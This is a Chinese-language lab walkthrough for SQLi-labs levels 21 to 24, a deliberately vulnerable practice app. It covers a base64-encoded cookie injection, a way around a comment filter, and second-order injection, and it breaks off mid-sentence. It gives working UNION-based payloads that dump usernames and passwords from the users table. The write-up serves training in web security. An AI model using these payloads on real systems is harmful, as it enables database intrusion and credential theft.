SQli-labs 进阶 21-38关
LESS-21
拼接方式:id=('$id')
21关和20关本质上没有区别,但是是使用base64进行了编码。
使用burp进行抓包
可以很明显看到,uname值为一串编码,利用burp自带的编码工具进行解码。
%3D是=的url值,所以进行解码时候应该化为=号再带入。
解码出来的值为admin,所以我们只需要将我们原本的注入代码化为base64就可以了。
原代码 -admin') union select 1,(select group_concat(username) from users),(select group_concat(password) from users)# ------------------------------------------------ base64 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gdXNlcnMpLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSM=
LESS-22
拼接方式:id="$Id"
除此之外无变化
LESS-23
拼接方式:id='$id'
代码审计
过滤掉了#和--,所以无法使用注释符。
这里使用
1' union select 1,2,3'
去过滤掉单引号。
在代码中读取会变成
id='1' union select 1,2,3 '' limit 0,1
由于结尾不是注释,就无法使用order by去测试列数(因为orderby只能存在句尾)。
此处用union 1,2,3去测试数据库
测试出列数为3列数据
?id=-1' union select 1,2,3'
修改后爆出回显地址为2,3
通过2,3位子可以爆出账号密码。
使用联合注入
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)'
LESS-24
点击界面,发现和之前的注入都不同,此处发现
左下角点击遗忘密码后,他让我们自信黑进去。右边还有一个增加一个新账号。
注册账号后登录,发现界面为修改密码。
确认页面信息后。我们确认有新增点,有登录修改,很明显的二次注入。
二次注入:简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
这里假设不知道CSW的密码,那么我们就新增一个账号CSW'#那么此时修改密码匹配到的就是
猜测代码 username=